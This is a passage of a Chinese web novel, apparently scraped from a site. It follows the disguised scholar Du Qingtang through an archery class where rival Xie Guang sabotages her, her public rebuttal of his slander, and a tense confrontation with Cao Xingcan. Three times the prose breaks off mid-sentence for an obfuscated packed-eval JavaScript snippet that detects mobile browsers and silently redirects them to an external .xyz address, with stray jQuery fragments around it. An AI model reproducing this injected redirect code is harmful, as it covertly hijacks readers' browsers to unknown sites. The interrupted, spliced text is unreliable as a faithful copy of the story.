问及缘由,对方很明确地给出答案:“私德不修,难成大器。” 追根溯源,还是因为他与人无媒苟合,脚踩两条船。 可元盛再清楚不过,那是杜青棠扣他头上的屎盆子,根本就是无中生有,是污蔑! 元盛恨不得生吞活剥了杜青棠,只可惜她躲在清苑书院,除了让谢光对付她,别无他法。 朱氏得知元盛因为杜青棠告状被逐出私塾,无学可上,气得破口大骂,抓住在元家干活的元氏,噼里啪啦抽了她几个嘴巴子,又操刀去杜家。 “对付不了死丫头,我还对付不了那几个丫头片子?” 结果连杜家的门都没进成,刚骂了几句,就被闻讯赶来的方洪海撵了回去。 朱氏气得仰倒,把元氏当出气筒,打得她脸上、身上没一块好肉。 饶是如此,元氏也只是哭,每天还是准时来元家干活儿。 元盛跑遍县城的私塾,每次都失望而归,实在无法,只得退而求其次,去了附近的镇上读书。 朱氏舍不得宝贝儿子吃苦,咬牙租了间屋子,去镇上照顾元盛了。 如此一来,元家只剩元平和元雪父女二人。 山中无老虎,猴子称霸王。 元平没了管束,朱氏离开的第二天就从私房钱里取了二百两银票,去了县城的赌坊。 元平时常光顾赌坊,赌坊里的伙计和打手大多认得他,他进了赌坊之后如鱼得水,很快和客人们打成一片。 只是他今天手气不太好,刚开始赢了两把,得了二十几两,以为能满载而归,没想到从第三把开始,他就一直输。 不过两把,就输了三四十两。 元平急得满头大汗,想就此作罢,可又不甘心,想把输的钱赢回来,一狠心一咬牙,掏出二百两银票:“我赌大!” 可惜事与愿违,他不仅没把输的钱赢回来,二百两银票也输出去了。 元平心知不妙,打算撤了。 “等等!”赌桌上一个壮汉指着银票,“这银票瞧着怎么像假的?” 众人细看,还有人上手摸。 “真的有点像。” “呦,怎么还掉色了?” 元平心里一咯噔,有种不祥的预感。 他低头一看,发现手指头黑漆漆的,赫然是被银票上的墨水染黑的。 元平:“!!!” 赌坊的管事过来,元平被打手提溜到一旁,雨点般的拳头落下。 “竟敢在青龙帮的地盘用假银票,你是吃了熊心豹子胆?” “来顺,他输了多少?” “三百两!” “限你五天之内还清三百两,否则就用你的手指头抵债!” 元平蜷成一只虾,惨叫连连。 他怎么也想不明白,他辛辛苦苦攒了十几年的银票怎么成了假的。 一定是朱氏那个臭婆娘! 打手一拳下去,元平两颗牙没了。 “啊啊啊啊啊!!!” 31.031 却说那日谢光陷害不成,反被杜青棠将了一军,罚抄四书五经不说,还在丁班众人面前颜面尽失。 谢光恨极了杜青棠,却又不得不抄写《孟子》。 他手都快抄断了,总算在第四日抄完,将其交予杜青棠。 “喏,你的书。”谢光眼下乌青,仿佛被什么妖精吸走了精气,有气无力地道。 杜青棠翻开《孟子》,丑得不堪入目的字迹映入眼帘。 这鬼画符多看一眼都是折磨,她赶紧合上:“多谢谢同窗,你真是个......” 谢光眼皮一跳:“住口!” 暴喝声引来众人侧目,杜青棠轻抚胸口,似乎受到了惊吓:“谢同窗何至于此?杜某只是想道声谢。” 谢光:“.......不必。” 杜青棠:“对了,孙教谕曾说要考校谢同窗的背诵,谢同窗可背熟了?” 谢光深吸一口气,皮笑肉不笑:“比起我是否背熟四书五经,杜同窗不如想想,如何才能在下午的骑射课上不出丑。” 杜青棠轻叹:“不瞒谢同窗,杜某正因为下午的骑射课头痛不已,杜某长这么大可从未接触过弓箭和马匹,不知该如何上手......” 真是打瞌睡送枕头,替自己和元贤弟报仇的机会竟主动送上门来了! 谢光眼珠一转,计上心头。 ...... 谢光走后,杜青棠将《孟子》丢进桌肚,取出自制的算术本。 今天上午只有一节算术课,下午则是礼仪课和骑射课。 在大夏,算术是科举的必考题型之一,童生试、乡试和会试必有一道以上的算术题。 无论在现代还是古代,杜青棠都不偏科,她文科学得好,经义策论信手拈来,理科也不差,尤其擅长算术。 上首,教算术的方教谕扬声道:“今有垣厚五尺,两鼠对穿。大鼠日一尺,小鼠亦一尺。大鼠日自倍,小鼠日自半。问:何日相逢?各穿几何?”【1】 杜青棠在算术本上速记题目,傅文慢半拍,只来得及记下前两句,她将算术本往右边推了推,直到傅文抄完才撤回来,提笔解题。 这是一道“两鼠穿墙”的问题,可以用方程解答。 杜青棠思路清晰,很快得出答案。 傅文几乎与她同步完成,两人一对答案,完全一致。 “以前村塾的先生只教过我们鸡兔同笼的算术题,这种题型我从未接触过,是误打误撞做出来的。” 杜青棠偏头:“那不是很好?” 傅文抿嘴轻笑:“等下次去书斋,我打算买两本算术题,这方面我有些薄弱,还得多做多练。” “对了,还得买一副书圣的字帖照着临摹。”傅文掰手指数算,“只是这样一来,这个月估计存不下几个铜板。” 方教谕开始讲解,杜青棠低声道:“钱花在刀刃上,又不是肆意挥霍。” 傅文点点头,不再多言,专注记笔记。 一节课结束,方教谕留下两道算术题,作为今日份课业,便带着书本扬长而去。 “先去吃饭,吃完饭还要回寝舍换衣服。” 骑射课上不穿书院服,而是无袖无领,长过膝盖,以轻便舒适为主的骑装。 骑装和书院服一样,以蓝白二色为主,换上后身形变得挺拔,杜青棠将长发高束,少了些稚气,更显英姿勃发。 她蹲在木盆前,看水面上自己的倒影。 神情淡漠,下颌紧绷,嘴角习惯性抿起,颈间喉结凸起,倒像个真正的男儿。 杜青棠抬手,搅乱水面。 不过是伪装罢了,当不得真。 傅文穿戴完毕,看向杜青棠的背影:“青棠,你在看什么?该出发了。” “来了。”杜青棠起身,挎上书袋离开寝舍。 ...... 下午第一节礼仪课,仍然学习嘉礼。 考虑到接下来还有长达一个时辰的骑射课,运动量较大,黄教谕十分体贴地将实践课改为理论教学。 “将《周礼》翻开到......” 一个时辰后,放课的锣声响起。 丁班的学生们收拾好书本,前往骑射场。 清苑书院是官办书院,一应教学资金由朝廷拨款,山长姚玄十分注重学生的全面发展,于庆元二年斥巨资建立骑射场,专供学生练习骑射。 骑射场位于书院的东北方向,从启蒙班出来,一路向北,很快就能看到一片极其广阔的场地。 骑射场从中间一分为二,左边用于练习骑马,右边则用于练习射箭。 负责教授骑射的钱教谕是个身高九尺的壮汉,说话声如洪钟,跟打雷似的:“前半个时辰射箭,后半个时辰骑马,诸位请随我来。” 傅文的目光黏在远处的马厩上:“那些小马驹好可爱,它们的鬃毛摸起来一定很软和。” 杜青棠眉梢微挑,看来这位也是个绒毛控? 就跟杜七丫一样。 “据说那些小马驹专为年纪小的学生准备,十分温驯,待会儿你可以亲身体验一番。” 傅文眼睛一亮,正要说些什么,谢光走过来,挑衅地看杜青棠:“杜同窗,你敢和我比射箭吗?” 杜青棠:“不敢。” 谢光:“谁射中的次数多,谁就是......你说什么?” 杜青棠迎上谢光愕然的眼神:“谢同窗好生奇怪,上次你在孙教谕面前说我精通骑射,无所不知无所不晓,杜某不曾同你计较,这次你又固态萌发,要与我比射箭,可杜某上午分明说过自己不善骑射,你这般行事,到底居心何在?” 她说这话时并未遮掩,周围人都能听见。 “杜同窗竟不善骑射?我一直以为她如谢同窗所言,骑射十分精湛。” “多半是谢光信口雌黄,故意刁难杜同窗。” “这人好生无耻,杜同窗怎么他了,为何如此咄咄逼人,多屡次为难杜同窗?” 谢光脸色青一阵白一阵,比开染坊还要精彩,他指着杜青棠,说不出一个字,只得吃下这闷亏,甩袖而去。 “诸位!”钱教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023312|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谕高声道,“请尽快领取弓箭,稍后开始练习。” “是!” 杜青棠和谢光的争执只是一个小插曲,众人各领取长弓一把,钝头箭二十支,百余人分为两列,相向而立。 杜青棠在内的四十名新生站在一起,钱教谕亲身示范几遍,让他们自行练习,找找感觉。 因为是初学者,钱教谕给了一石的弓,杜青棠尝试着拉动弓弦,有些吃力,但在可承受范围内。 她从箭袋中取出一支钝头箭,拉弓搭箭,瞄准远处草绳编制而成的箭靶。 手指一松,箭矢“咻”的飞射出去,落在她和箭靶之间的草地上。 杜青棠不见气馁,继续尝试。 第二次,箭矢射得远了些,但距离箭靶还是有一段距离。 第三次,箭矢射得更远一些。 第四次...... 第五次...... 直到第六次,箭矢擦着箭靶的边缘,扎进草地。 这期间,丁班的老生们一边装模作样射箭,一边欣赏新生们练习射箭时的窘态。 同时,骑射场上还有童生班和秀才班的学生。 他们很快注意到杜青棠的举动,见她一次又一次地射空,一个个笑得前仰后合。 但是很快,他们有了新的发现。 “她是不是越射越远了?” “似乎也有了准头。” 话音刚落,杜青棠手中箭矢飞出,命中箭靶。 虽在边缘处,却应证了说话之人的发现。 “嚯!还真是!” “杜青棠可真是个妙人!” 人群中,谢光脸色阴沉,攥着弓的手暴起青筋。 姓杜的就是个阴险狡诈的白眼狼,她应该灰溜溜地滚出书院,而不是名声大噪,备受书院众人的追捧! 谢光藏身人群,悄然靠近杜青棠。 而彼时,杜青棠抽出第九支钝头箭,拉弓搭箭,瞄准远处的箭靶。 松手那一刻,谢光猛地撞上杜青棠的手肘。 众目睽睽之下,箭矢偏离既定轨迹,朝着人群聚集的方向飞去。 “啊!” 众人哗然,惊呼声迭起。 他们往四下里退散,然而人数众多,退无可退。 更有甚者,在周围人的推搡下摔倒在地。 眼看一场踩踏事件即将发生,杜青棠转眸看向暗自窃喜的谢光,眸中的锐利冰冷令人心惊胆颤。 谢光愣了下,肆无忌惮而又充满恶意地笑了。 杜青棠眼眸微眯,以迅雷不及掩耳之势抽出最后一支钝头箭。 弓弦拉满犹如满月,箭矢裹挟着寒风射出。 “咻——砰!” 第十支箭矢以肉眼难以捕捉速度追上第九支。 只听得一声脆响,第九支箭矢被撞得偏离轨迹,落在草地上。 第十支箭矢却未停止飞行,流星般划过一道近乎完美的轨迹,命中左斜方的箭靶。 远处,钱教谕的声音震耳欲聋:“正中靶心,十环!” 32.032 “正中靶心,十环!” 钱教谕的声音在骑射场上回荡,一遍又一遍,经久不息。 谁正中靶心? 谁命中十环? 哦,原来是杜青棠。 等等! 杜青棠?! 几天前刚考入书院,可以倒背四书五经,写得一手锦绣文章的杜青棠? 众人一脸恍惚,他们莫不是产生了幻觉? “她不是说自己不善骑射?” “她射箭的动作确实很生疏,弓弦都拉不开,一看就是个生手。” “也就是说,她从初学到正中靶心,期间只练了九次?” “这世上还有她不会的东西吗?” 正当众人惊叹迭起之时,有人冷笑:“可即便她再如何天赋异禀,也无法改变她一箭射偏,差点伤到人的事实。” “要不是因为她,我们不会摔倒,更不会受伤。”一名学生高举双手,展示手掌的擦伤。 “必须给我们一个说法!” 钱教谕走了过来,看杜青棠的眼神有欣赏,也有责备:“你在骑射方面天赋颇高,但是太过鲁莽,连累其他人受伤......” 话未说完,被一道声音打断:“教谕,这件事与她无关。” 杜青棠看向声源处,说话之人竟是曹行粲。 钱教谕不解:“何出此言?” 曹行粲双手抱臂,微抬下颌,一如既往的倨傲:“是谢光,他撞了杜青棠的手肘,杜青棠才会射偏。” “谢光?” “又是他!” “他跟杜同窗什么仇什么怨?为何三番五次地针对杜同窗?” 鄙夷的目光从四面八方涌来,谢光幸灾乐祸的笑容僵在脸上,眉毛高挑嘴角咧开,像个滑稽的小丑。 钱教谕沉声问:“是这样吗?” 杜青棠:“是。” 谢光:“不是!” 傅文:“就是他!” 三道声音几乎同时响起,谢光傻了眼,难以置信地看向曹行粲。 曹行粲不是从一开始就跟杜青棠不对付吗? 他怎么突然跟杜青棠沆瀣一气,站出来替她作证? 谢光暗恨曹行粲反复无常,害他成为众矢之的,但他不敢轻易招惹曹行粲,唯恐惹来这位首辅嫡次孙的疯狂报复,只能将矛头对准杜青棠和傅文。 “教谕明鉴,杜青棠和傅文乃是一丘之貉,您可千万不要听信她们的片面之词呐!” 傅文怒不可遏,震声道:“你胡说!我分明看见你故意撞上青棠,骑射场这么大,你怎就偏偏撞上她?” 双方各执一词,钱教谕一个头两个大。 就在这时,人群中有人高喊:“我也看到了,就是谢光趁杜青棠不备,从后面撞了她,杜青棠才会射偏。” 谢光眼神一厉,是哪个不要命的? 可惜那人藏得极好,任谢光一遍遍扫视人群也没找到。 非但如此,还引出好些个替杜青棠作证的学生。 “就是谢光。” “我亲眼所见。” 钱教谕脸色黑如锅底:“谢光,你还有什么好说的?” 谢光张了张嘴,狡辩的话到嘴边又咽回去,忽而冷笑,环视众人:“我真可怜你们,被杜青棠这只白眼狼骗得团团转,还反过来替她说话,真是一群蠢货!” “什么意思?” “你把话说清楚。” 谢光指向杜青棠,一脸不屑:“此人恩将仇报,陷害供她读书的表哥,害他声名狼藉,遭受千夫所指,谢某见不得有人做了恶事还故作无辜,今日誓要让所有人看清她的真面目!” 众人惊呼:“竟有此事?” 这下,鄙夷的目光从谢光身上转移到杜青棠身上。 “知人知面不知心,我还以为她是个好的。” “清苑书院容不下你这种道德败坏的学生,滚出书院!” 有人愤怒斥骂,自然有人维护或保持中立。 傅文的声音比他们还大:“青棠待人温和有礼,怎么可能是谢光口中的忘恩负义之人?他这是信口雌黄,你们别被他骗了!” “有道是字如其人,杜青棠写得一手好字,文章更是落拓洒脱,不像是......那种人。” “王同窗所言极是,我也觉得不可能。” “比起杜青棠,我倒是觉得谢光才是恩将仇报的那个人。” 众人哄笑。 钱教谕也没想到,今天的骑射课上会惹出这么多事端,严肃看向杜青棠:“倘若确有此事,我会将你的所作所为告知山长,由山长决定你的去留。倘若是无中生有,正好大家都在,你还是趁此机会澄清一下吧。” “是。”杜青棠向钱教谕作了一揖,随后放下弓箭面向众人,“谢同窗说杜某的表哥供杜某读书,这一点杜某不敢苟同,至于原因,且听杜某细细道来。” “杜某尚未出生,父亲便意外逝世,家中无人撑腰,母亲担心守不住钱财,便将挣得的银钱寄存在舅舅家。” “杜某读书已有两年,这期间束脩等一应开销虽是从舅舅家支取,用的却是母亲和姐姐辛辛苦苦熬至深夜挣来的银钱。” 杜青棠看向谢光:“敢问谢同窗,你可是听杜某的表哥指责杜某恩将仇报?” 谢光嗤笑:“是又如何?凭你这条三寸不烂之舌,黑的都能说成白的,谁又能证明你说的是真的?” 杜青棠不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028788|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应,只是取出两张纸:“教谕,您请看。” 钱教谕定睛看去,表情有些复杂:“是欠条和断亲文书。” 众人惊呼:“什么?!” 杜青棠朗声道:“杜某的母亲将银两寄存在舅舅家整整十二年,谁知舅舅舅母竟将这些银两视为己有,就连杜某读书的束脩,也被他们说成是借给杜某的。” “长此以往,杜某家中穷得揭不开锅,母亲和姐姐饿得病倒,杜某实在无法,只好请村长做主,想要讨回那些银两。” “谁承想,舅舅舅母早将银两花得精光,杜某据理力争,便有了这张欠条。” “至于断亲文书,杜某常年离家,不愿母亲和姐姐再受欺负,便冒着天下大不韪,与舅舅家断了亲。” “谢同窗,依杜某之见,表哥之所以对你扭曲事实真相,多半是想利用你报复杜某。” 谢光不想承认这是真相,梗着脖子道:“即便如此,你又如何解释你毁坏元盛名誉的事?” “元盛?这名字怎么这么耳熟?” “就是前段时间与人无媒苟合,脚踩两条船的那个。” “原来是他!这人我认得,我不止一次看到他出没花街柳巷,是个品行败坏的浪荡子。” “如此说来,这人利用谢光报复杜青棠的可能性极大。” “谢光才是蠢货,傻傻被人利用,还觉得自己是在替天行道。” “家家有本难念的经,我大伯二伯也跟杜青棠的舅舅一样,贪婪又狠心,杜青棠倒是果决,干脆利落地断了亲,可惜我爷奶还在,连分家都做不到,更别提断亲了。” 傅文见大家都站在杜青棠这边,痛快极了,忍着笑说:“教谕,既然真相大白,是不是该让谢光向青棠和大家道歉?” 钱教谕点头:“这是自然,不仅要道歉,为师还要罚他打扫骑射场半个月!” 谢光脸色骤变:“教谕!” 打扫射箭的场地还好,只需要在学生们上完骑射课后捡起草地上的钝头箭,但是打扫骑马的场地不仅需要打扫马厩,还要清理跑马过程中掉落的马粪。 马粪臭气熏天,他才不要! 钱教谕抬手打断谢光的话:“你不分青红皂白地针对他人,险些酿成大错,为师不但要罚你打扫骑射场,稍后还会将此事上报给朱教授,以正书院之风!” 谢光脸色青了又白,死死咬住腮肉,血气弥漫都不曾开口。 “他怎么还不道歉?” “现在知道要脸了,之前针对杜青棠的时候我看他的脸皮比谁都厚!” “道歉!道歉!” 人声鼎沸中,谢光脸色惨白地弯下腰。 “方才是谢某之过,还请杜同窗海涵。” 33.033 向杜青棠道歉之后,谢光又依次向因他受伤的学生道歉。 杜青棠拒不接受:“若非杜某行得正坐得端,又恰好将证据带在身上,及时澄清了谣言,恐怕已经遂了谢同窗和杜某表哥的意,名誉扫地,被逐出书院了。” “还望谢同窗往后擦亮眼睛,慎重交友,别再被心怀叵测之人牵着鼻子走。” 谢光最见不得她这副道貌岸然的模样,事到如今,他仍不信杜青棠的说辞,元贤弟曾救过他,怎么可能骗他。 恨只恨杜青棠巧舌如簧,而他不得人心,注定惨败。 其他人纷纷附和。 “你真是又坏又蠢,我绝不原谅你。” “若非杜同窗出手及时,拦下了那支箭,将会有更多人因你受伤,你不配得到我们的原谅。” “杜同窗,先前是我误会了你,王某这厢给你赔礼了。” 先前叫嚣着让杜青棠离开书院的学生满脸愧色,向她深深地作揖。 杜青棠还了一礼,以示既往不咎。 骑射场上凝重的氛围一扫而空,众人一拥而上,将杜青棠里三层外三层地围住。 他们好奇而又充满敬佩地看着杜青棠,叽叽喳喳问个不停。 “杜同窗,你当真从未学过射箭?” “杜同窗,不知你能否再演示一遍?我学习骑射已有两年,却甚少射中靶心,可否分享一二经验?” “杜同窗......” “杜同窗......” 杜青棠当然不是初学者。 先帝生前十分热衷于狩猎运动,在位期间每年都会率领臣子及嫔妃前往皇家猎场狩猎。 后来庆元帝登基,一年一度的狩猎活动延顺下来,成为臣子们表现自己,获得陛下青睐的途径之一。 第二世入朝为官后,杜青棠随大流地学了骑射。 经历多次轮回重生,当年堪称炉火纯青的骑射技术早已生疏遗忘。 弓箭在手,除了陌生再无他想,连续试了好几次才找回一点感觉。 杜青棠料到谢光会从中作梗,但还是低估了他的卑劣,竟妄图通过伤害他人的方式加害于她。 虽是钝头箭,扎在身上不会见血,但肯定会疼,会留下淤青。 所幸她超常发挥,射下第九支箭矢,避免无辜之人受伤。 杜青棠脸不红心不跳:“杜某家境贫寒,此前从未接触过弓箭。” “杜同窗你真厉害!” “杜同窗你可以教教我吗?” “诸位——”钱教谕看不下去了,“你们是不是忘了还有我这个教谕?” “教谕您当初学射箭的时候学得比杜同窗还快吗?” 钱教谕噎了下,当然不是。 众人从他的沉默中得到答案,哈哈大笑。 钱教谕无奈极了,看向杜青棠:“不如你再演示一遍,先前为师离得远,不曾仔细看。” 杜青棠却是摇头:“先前只是运气使然,这次学生没有十足的把握。” 钱教谕道:“试一试也无妨。” 话已至此,杜青棠只好拉弓搭箭,瞄准箭靶。 “咻——” 箭矢飞驰,正中靶心。 “好!” 众人拍手叫好,喝彩声经久不绝。 钱教谕看杜青棠的眼神像极了孙教谕和黄教谕看她的眼神,激动而又饱含热切:“如果你想在箭术上更进一步,可以来找我。” 杜青棠自是应好。 闹剧结束,众人作鸟兽散,继续各自的练习,傅文这才找到机会走过去。 之前杜青棠的身边被人围得密不透风,她挤不进去,还被人踩了好几脚,脚趾隐隐作痛。 傅文小跑到杜青棠跟前,一把挎住她的胳膊,轻轻摇晃:“青棠青棠,你可以教我射箭吗?我连着几次都没射出去,拉弓拉得胳膊疼。” 杜青棠欣然同意:“胳膊疼是因为姿势不对,你再来一遍,我看看问题在哪。” 傅文拉弓搭箭,杜青棠一眼看出问题,走到傅文旁边,替她调整姿势。 “右臂压低一点,左手往上......” 傅文依言照做,效果显著,虽然没射中箭靶,至少擦着边缘过去了。 在杜青棠的指导下,傅文很快射中箭靶,高兴得一下子跳起来。 “青棠,我中了!” 傅文眉开眼笑,杜青棠也笑了,眼尾弯起细微弧度。 就在这时,一道难以忽略的目光落在她身上。 杜青棠敏锐地看过去,与曹行粲四目相对,两人俱是一愣。 一旁的傅文说:“说实话,我没想到曹同窗会站出来替你作证,以前我觉得他傲慢又讨人嫌,现在感觉他还挺好的。” 杜青棠也没想到曹行粲会这么做,甭管出于什么原因,她都承他的情。 思及此,杜青棠向曹行粲颔首示意。 曹行粲眯眼,意味不明地扯了下嘴角。 ...... 半个时辰转瞬即逝。 丁班的学生在钱教谕的带领下转移阵地,前去马厩挑选马匹。 “谢光,你留在这里整理场地,捡完箭矢之后再来上课。” 谢光:“......是。” “你们看,谢光脸都青了。” “活该,谁让他干坏事。” 杜青棠对谢光那张平平无奇的脸不感兴趣,被傅文拖着去挑选小马驹。 “枣红色的好看,雄赳赳气昂昂的,一看就很有精神。” “那我就选白色的吧。” 杜青棠曾在府中养过一匹名为追风的白马,她很喜欢追风,一有时间就会给它梳毛,可惜最后被夏承煊那个畜生一刀砍死,甚至没能留一具全尸。 白色的小马驹凑过来,试图贴贴蹭蹭。 “乖。”杜青棠轻抚它柔顺的鬃毛,眉眼温和地从管理马厩的男子手中接过缰绳。 “你父亲早逝,母亲软弱无能,只知贴补娘家,八个姐姐都是再普通不过的女子。” 低沉的嗓音骤然响起,杜青棠收敛笑意,冷眼看着曹行粲一步步走近。 曹行粲见杜青棠竖起浑身的刺,目光锐利神情冷漠,不由得一哂:“你在这种环境中长大,却能写出一手锦绣文章,百发百中......” 话音刚落,一股森冷气息向他倾轧而来。 有那么一瞬,曹行粲以为他面对的是浸润官场多年,气势逼人的祖父和父亲,呼吸粗重,冷汗涔涔而下。 曹行粲用力掐了下掌心,努力不露怯,佯装无事地看向杜青棠。 杜青棠眸光沉静,周身气息平和,仿佛那一瞬外放的杀意是他的错觉。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15032664|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是杜青棠,你究竟是什么人?” 前天晚上,曹行粲派去调查杜青棠的人回来。 一切正如杜青棠所说,出身乡野农门,没有优越的家境,也没有学识渊博的大儒为她启蒙,教他读书识字。 可是冥冥之中有一道声音告诉曹行粲,杜青棠身上一定有着不为人知的秘密。 这两天,曹行粲一直在暗中观察杜青棠。 看她读书、听讲,看她一遍又一遍地拉弓搭箭,射偏后毫不气馁,继续尝试。 她和天下数以万万计的农家子一样,勤勤恳恳,奋发图强,梦想通过读书科举改变命运。 骑射课上,当谢光鬼鬼祟祟地靠近杜青棠,曹行粲几乎是立刻明白了他的意图。 果不其然,杜青棠一箭射偏,直接引发了一场骚乱。 曹行粲为谢光感到不齿,他视杜青棠为对手,但他绝不会使用下作手段获胜。 他要堂堂正正地赢过杜青棠。 但这一切的前提是杜青棠能继续在清苑书院读书,如果她因为谢光的陷害被逐出书院,那么他在保定府的几年将会丧失很多乐趣。 于是他毫不犹豫地站出来,替她作证。 杜青棠眼眸微眯,沉默不语。 曹行粲不在意杜青棠的沉默,目光锁在她脸上,不错过她一丝一毫的表情变化:“据我所知,杜家和元家早已撕破脸,所以你那表哥才故意扭曲真相,引导谢光针对你。可旁人不知谣言真伪,一旦在书院内传开,必定会影响到你的声誉,不如主动出击,永绝后患。” “早上你当着谢光的面说自己不善骑射,之后又佯装不善骑射,为的就是引谢光入局。” “不要否认,也别想狡辩,倘若你不曾设局,又怎会随身携带欠条和断亲文书?” 杜青棠没想到曹行粲会查她,更没想到曹行粲会看破她的计划。 她的确故意引导谢光在骑射课上动手,好先下手为强,解决谢光这个潜在威胁,将一切扼杀在摇篮里。 不过比起计划被看破,杜青棠更在意曹行粲私自调查自己,一度考虑要不要杀人灭口。 可是转念一想,曹行粲身份特殊,他要是死了,会给她带来无穷无尽的麻烦。 而她的每一项技能都是从前世的经历中获得,就算曹行粲将桃源村翻个底朝天,也绝对查不到任何的蛛丝马迹。 杜青棠按下危险的念头,气定神闲道:“杜某行不更名,坐不改姓,自始至终都是保定府桃源村的杜青棠。至于锦绣文章和百发百中,有手就行的东西,很难吗?” 曹行粲:“???” 有手就行? 杜青棠是在嘲讽他吗? 因为他次次不如她。 曹行粲很不满她四两拨千斤的回答,再度逼问:“谢光呢?你敢说你不曾算计谢光?” 杜青棠轻笑,笑意不达眼底:“是又如何?谢光招惹在前,杜某不过是以其人之道,还治其人之身罢了。” “青棠,我好了,咱们走吧!”傅文牵着枣红马,从另一边过来,杜青棠撇开曹行粲迎上去,“我也好了。” 曹行粲见杜青棠要走,伸手阻拦却被躲开,索性作罢:“杜青棠,终有一日我会挖出你的秘密,还要让你成为我的手下败将!” 杜青棠轻抚白马的鬃毛,头也不回地道:“杜某拭目以待。” 34.034 曹行粲试探失败,还不轻不重吃了个软钉子,冷哼一声拂袖而去。 傅文回头看他,很是不明所以:“曹同窗又怎么了?这是吃了炮仗?” 杜青棠避重就轻,睁眼说瞎话:“我向曹同窗道谢,曹同窗接受了我的道谢,同时向我宣战,势必要让我成为他的手下败将。” 傅文闻言,决定收回之前关于曹行粲人还不错的评价:“他对第一名的执念是有多深?” 杜青棠却能理解曹行粲争强好胜的心理。 生在曹氏,上有优秀的嫡兄,下有虎视眈眈的庶出兄弟,如果曹行粲不够优秀,迟早会被其他人取代,最后沦为弃子。 而事实正是如此。 前世,曹行粲乡试落第,从此寂寂无闻,多年后成为替罪羊,被凌迟处死。 不过是权力斗争的牺牲品,一只可怜虫罢了。 所以即便曹行粲目中无人,行事张狂,想到他没几年好活,杜青棠勉强可以容忍他几分。 但也只是几分。 “阿文,你会骑马吗?”杜青棠不动声色地转移话题。 傅文挠挠被枣红马舔过的脸颊,痒乎乎的:“没有,但是我骑过牛,还骑过驴。” 杜青棠:“......无妨,教谕说他稍后会手把手教我们。” 傅文心下大定,两人牵着小马驹,与丁班的同窗汇合。 接下来的半个时辰,老生们策马驰骋,新生们在钱教谕的指点下颤巍巍爬上马背,颤巍巍抱着马脖子不撒手,然后在钱教谕一甩马鞭,骏马飞驰之际颤巍巍直呼救命。 围观众人见状,笑得前仰后合,站都站不稳。 杜青棠会骑马,但是为了保持人设,一开始她表现得非常生疏,在骑射场上走了两圈,这才停止做戏,逆着风纵情驰骋。 鸦羽般的黑发飞舞,蓝白骑装猎猎作响,恣意又潇洒。 “你们快看,杜同窗她骑得可真好!” 众人循声望去,因杜青棠在马背上的英姿连声喝彩。 傅文羡慕不已:“青棠你学什么都快,我能有你一半的天赋就好了。” 曹行粲策马路过,发出不冷不热的嗤笑。 傅文:“他这是在嘲笑我吗?” 杜青棠:“不是,他在嫉妒你。” 曹行粲触电般回过头,大喝:“......杜青棠,你大胆!” 杜青棠面无表情:“我不是你的奴才。”可以动辄训斥。 曹行粲喉咙一哽,一抖缰绳跑远了。 ...... 虽说傅文不如杜青棠“天赋异禀”,但其实她学东西的速度不算慢。 半个时辰之后,傅文已经可以独立骑行了。 “今天的骑射课就到这里,诸位的表现都很不错,望继续保持。”钱教谕看向谢光,“其他人可以直接离开,谢光留下打扫骑射场。” 众人看着满地的马粪:“噗——” 谢光脸色铁青,不情不愿地应了声,去捡马粪。 傅文将枣红马送回马厩,恋恋不舍地和它分别,一步三回头地离开:“下次骑射课我还选它。” 杜青棠没有说话,只是轻抚小白马的鬃毛,用她优越的记忆力记下它的模样,好在下次重逢之际一眼认出它。 离开骑射场的时候,杜青棠遇见谢光。 谢光背着竹篓,臭着脸捡马粪。 所有人都避开他,仿佛他是个比马粪还要恶臭的东西。 杜青棠收回视线,迎着冬日的夕阳前往饭堂。 骑射课上运动量大,杜青棠又正在长身体,饿得很快,骑马的时候肚子就咕噜噜响个不停。 这天晚上,她吃了两碗粥和一块饼才停下,傅文也是。 回到寝舍之后,杜青棠和往常一样,先完成教谕布置的课业,然后刷两道刘童生的试题,和傅文互相交换着批阅,在旁边写下个人见解。 做完这一切,两人又画了一幅插图,这才结伴去水房打来热水,洗漱歇下。 一夜好眠。 翌日,杜青棠卯时睁开眼,发现两条胳膊又酸又痛,抬都抬不起来。 这是练箭的后遗症,前世杜青棠也有过,过个三五天就好了。 傅文的胳膊也疼,穿衣服时龇牙咧嘴,不住地抽气。 杜青棠道:“这两天不晨练了,只读书。” 傅文笑道:“我正有此意。” 两人简单拾掇一下,拿上书本离开寝舍,在孔夫子雕像下放声朗读。 身着褐色短衫的男子和往常一样小跑路过,向她们展露和蔼笑容。 杜青棠通常会颔首示意,傅文则回以柴犬一般纯良无害的微笑。 读了半个时辰的书,回寝舍洗漱,然后去饭堂吃饭,奔赴课室。 